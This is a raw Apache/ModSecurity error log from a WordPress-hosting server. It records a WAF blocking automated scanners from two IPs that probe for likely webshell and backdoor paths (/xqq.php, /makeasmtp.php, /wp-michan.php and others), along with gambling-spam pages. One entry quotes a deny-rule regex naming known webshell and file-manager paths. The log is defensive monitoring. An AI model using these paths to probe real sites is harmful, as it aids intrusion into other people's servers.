[Thu Apr 16 06:09:17.445331 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:65208] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeAMjTbDwvcXorHR_MyFJwAAAVI"]
[Thu Apr 16 06:09:17.809286 2026] [:error] [pid 29603:tid 29624] [client 51.75.116.205:43460] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeAMjVfGOR6fpTWUAzq-twAAARM"]
[Thu Apr 16 06:09:19.814390 2026] [:error] [pid 49094:tid 49112] [client 51.75.116.205:42980] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeAMjzbDwvcXorHR_MyFLgAAAVA"]
[Thu Apr 16 06:09:20.650664 2026] [:error] [pid 57538:tid 57626] [client 20.215.49.170:58735] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeAMkMuMaiEF5SVR2BcxxgAAAJg"]
[Thu Apr 16 06:09:21.829985 2026] [:error] [pid 57538:tid 57623] [client 51.75.116.205:42992] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aeAMkcuMaiEF5SVR2BcxyQAAAJU"]
[Thu Apr 16 06:09:23.184441 2026] [:error] [pid 49094:tid 49111] [client 20.215.49.170:6010] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeAMkzbDwvcXorHR_MyFOAAAAU8"]
[Thu Apr 16 06:09:23.825600 2026] [:error] [pid 57538:tid 57614] [client 51.75.116.205:43006] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aeAMk8uMaiEF5SVR2BcxzwAAAIw"]
[Thu Apr 16 06:09:24.896954 2026] [:error] [pid 57537:tid 57576] [client 20.215.49.170:64411] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeAMlFVQRS8nm73ENAkwGwAAAEE"]
[Thu Apr 16 06:09:25.705354 2026] [:error] [pid 57536:tid 57552] [client 51.75.116.205:43008] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aeAMlSQU4faGja6jpDt9WQAAAAQ"]
[Thu Apr 16 06:09:25.890615 2026] [:error] [pid 29603:tid 29622] [client 20.215.49.170:64422] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeAMlVfGOR6fpTWUAzq-2AAAARE"]
[Thu Apr 16 06:09:26.645202 2026] [:error] [pid 29603:tid 29611] [client 20.215.49.170:54256] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeAMllfGOR6fpTWUAzq-3wAAAQY"]
[Thu Apr 16 06:09:27.653386 2026] [:error] [pid 49094:tid 49102] [client 20.215.49.170:65413] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeAMlzbDwvcXorHR_MyFQAAAAUY"]
[Thu Apr 16 06:09:27.703395 2026] [:error] [pid 57538:tid 57608] [client 51.75.116.205:43018] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aeAMl8uMaiEF5SVR2Bcx1QAAAIY"]
[Thu Apr 16 06:09:28.613678 2026] [:error] [pid 49094:tid 49101] [client 20.215.49.170:58717] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeAMmDbDwvcXorHR_MyFRQAAAUU"]
[Thu Apr 16 06:09:29.335134 2026] [:error] [pid 57538:tid 57616] [client 20.215.49.170:65212] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeAMmcuMaiEF5SVR2Bcx2QAAAI4"]
[Thu Apr 16 06:09:29.696437 2026] [:error] [pid 29603:tid 29610] [client 51.75.116.205:50072] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aeAMmVfGOR6fpTWUAzq-5QAAAQU"]
[Thu Apr 16 06:09:30.274317 2026] [:error] [pid 49094:tid 49096] [client 20.215.49.170:5122] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeAMmjbDwvcXorHR_MyFSgAAAUA"]
[Thu Apr 16 06:09:31.219535 2026] [:error] [pid 49094:tid 49115] [client 20.215.49.170:5141] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeAMmzbDwvcXorHR_MyFTgAAAVM"]
[Thu Apr 16 06:09:31.714494 2026] [:error] [pid 49094:tid 49100] [client 51.75.116.205:50074] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aeAMmzbDwvcXorHR_MyFUwAAAUQ"]
[Thu Apr 16 06:09:33.705247 2026] [:error] [pid 49094:tid 49106] [client 51.75.116.205:50078] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aeAMnTbDwvcXorHR_MyFWgAAAUo"]
[Thu Apr 16 06:09:35.694192 2026] [:error] [pid 49094:tid 49117] [client 51.75.116.205:50092] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aeAMnzbDwvcXorHR_MyFYQAAAVU"]
[Thu Apr 16 06:09:42.472835 2026] [:error] [pid 49094:tid 49119] [client 20.215.49.170:58741] [client 20.215.49.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeAMpjbDwvcXorHR_MyFcQAAAVc"]
[Thu Apr 16 06:09:48.788324 2026] [autoindex:error] [pid 57538:tid 57620] [client 20.215.49.170:58705] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 06:09:59.528409 2026] [:error] [pid 57538:tid 57619] [client 20.215.49.170:58705] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeAMt8uMaiEF5SVR2BcyHQAAAJE"]
[Thu Apr 16 06:10:06.573279 2026] [:error] [pid 49094:tid 49120] [client 20.215.49.170:5128] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeAMvjbDwvcXorHR_MyFuAAAAVg"]
[Thu Apr 16 06:10:14.252376 2026] [:error] [pid 49094:tid 49101] [client 20.215.49.170:64129] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeAMxjbDwvcXorHR_MyF2gAAAUU"]
[Thu Apr 16 06:10:17.410558 2026] [:error] [pid 57538:tid 57621] [client 20.215.49.170:58738] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeAMycuMaiEF5SVR2BcyJgAAAJM"]
[Thu Apr 16 06:10:18.361019 2026] [:error] [pid 57538:tid 57604] [client 20.215.49.170:65191] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeAMysuMaiEF5SVR2BcyKAAAAII"]
[Thu Apr 16 06:10:19.185689 2026] [:error] [pid 29603:tid 29614] [client 20.215.49.170:5996] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeAMy1fGOR6fpTWUAzq_JQAAAQk"]
[Thu Apr 16 06:10:20.348176 2026] [:error] [pid 29603:tid 29612] [client 20.215.49.170:5471] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeAMzFfGOR6fpTWUAzq_JgAAAQc"]
[Thu Apr 16 06:10:21.529054 2026] [:error] [pid 57536:tid 57561] [client 20.215.49.170:64584] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeAMzSQU4faGja6jpDt9hwAAAA0"]
[Thu Apr 16 06:10:23.086645 2026] [:error] [pid 29603:tid 29624] [client 20.215.49.170:6009] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeAMz1fGOR6fpTWUAzq_KQAAARM"]
[Thu Apr 16 06:10:23.907487 2026] [:error] [pid 57537:tid 57582] [client 20.215.49.170:5763] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeAMz1VQRS8nm73ENAkwPQAAAEc"]
[Thu Apr 16 06:10:25.400466 2026] [:error] [pid 49094:tid 49105] [client 20.215.49.170:63937] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeAM0TbDwvcXorHR_MyF8QAAAUk"]
[Thu Apr 16 06:10:26.958506 2026] [:error] [pid 57538:tid 57606] [client 20.215.49.170:64128] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeAM0suMaiEF5SVR2BcyNAAAAIQ"]
[Thu Apr 16 06:10:27.825556 2026] [:error] [pid 49094:tid 49099] [client 20.215.49.170:58776] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeAM0zbDwvcXorHR_MyF9gAAAUM"]
[Thu Apr 16 06:10:29.061415 2026] [:error] [pid 49094:tid 49105] [client 20.215.49.170:58366] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeAM1TbDwvcXorHR_MyF_gAAAUk"]
[Thu Apr 16 06:10:30.111894 2026] [:error] [pid 57536:tid 57550] [client 20.215.49.170:5978] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeAM1iQU4faGja6jpDt9jQAAAAI"]
[Thu Apr 16 06:10:31.197319 2026] [:error] [pid 57536:tid 57556] [client 20.215.49.170:58694] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeAM1yQU4faGja6jpDt9kwAAAAg"]
[Thu Apr 16 06:10:32.483970 2026] [:error] [pid 49094:tid 49113] [client 20.215.49.170:58702] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeAM2DbDwvcXorHR_MyGCgAAAVE"]
[Thu Apr 16 06:10:35.771475 2026] [:error] [pid 49094:tid 49120] [client 20.215.49.170:54991] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeAM2zbDwvcXorHR_MyGEgAAAVg"]
[Thu Apr 16 06:10:36.728075 2026] [:error] [pid 49094:tid 49119] [client 20.215.49.170:64155] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeAM3DbDwvcXorHR_MyGFQAAAVc"]
[Thu Apr 16 06:10:37.493252 2026] [:error] [pid 57538:tid 57615] [client 20.215.49.170:54728] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeAM3cuMaiEF5SVR2BcyPQAAAI0"]
[Thu Apr 16 06:10:38.351996 2026] [:error] [pid 49094:tid 49118] [client 20.215.49.170:60914] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeAM3jbDwvcXorHR_MyGGgAAAVY"]
[Thu Apr 16 06:10:39.234913 2026] [:error] [pid 57538:tid 57623] [client 20.215.49.170:60906] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeAM38uMaiEF5SVR2BcyPwAAAJU"]
[Thu Apr 16 06:10:40.401396 2026] [:error] [pid 29603:tid 29613] [client 20.215.49.170:5456] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeAM4FfGOR6fpTWUAzq_NQAAAQg"]
[Thu Apr 16 06:10:41.944007 2026] [:error] [pid 57537:tid 57587] [client 20.215.49.170:5163] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeAM4VVQRS8nm73ENAkwRQAAAEw"]
[Thu Apr 16 06:10:42.658034 2026] [:error] [pid 57639:tid 57657] [client 20.215.49.170:65172] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeAM4qMCQoTw7TsxWunFiAAAAMs"]
[Thu Apr 16 06:10:43.464376 2026] [:error] [pid 57536:tid 57558] [client 20.215.49.170:55019] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeAM4yQU4faGja6jpDt9oAAAAAo"]
[Thu Apr 16 06:10:44.159944 2026] [:error] [pid 29603:tid 29622] [client 20.215.49.170:5967] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeAM5FfGOR6fpTWUAzq_PAAAARE"]
[Thu Apr 16 06:10:45.645908 2026] [:error] [pid 57538:tid 57616] [client 20.215.49.170:64170] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeAM5cuMaiEF5SVR2BcySgAAAI4"]
[Thu Apr 16 06:10:46.597721 2026] [:error] [pid 57537:tid 57595] [client 20.215.49.170:64158] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeAM5lVQRS8nm73ENAkwSgAAAFQ"]
[Thu Apr 16 06:10:47.184488 2026] [:error] [pid 57538:tid 57605] [client 20.215.49.170:5158] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeAM58uMaiEF5SVR2BcyTAAAAIM"]
[Thu Apr 16 06:10:48.059940 2026] [:error] [pid 49094:tid 49096] [client 20.215.49.170:65197] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeAM6DbDwvcXorHR_MyGKAAAAUA"]
[Thu Apr 16 06:10:48.884013 2026] [:error] [pid 49094:tid 49115] [client 20.215.49.170:58739] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeAM6DbDwvcXorHR_MyGKQAAAVM"]
[Thu Apr 16 06:10:49.513578 2026] [:error] [pid 29603:tid 29608] [client 20.215.49.170:65173] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeAM6VfGOR6fpTWUAzq_RAAAAQM"]
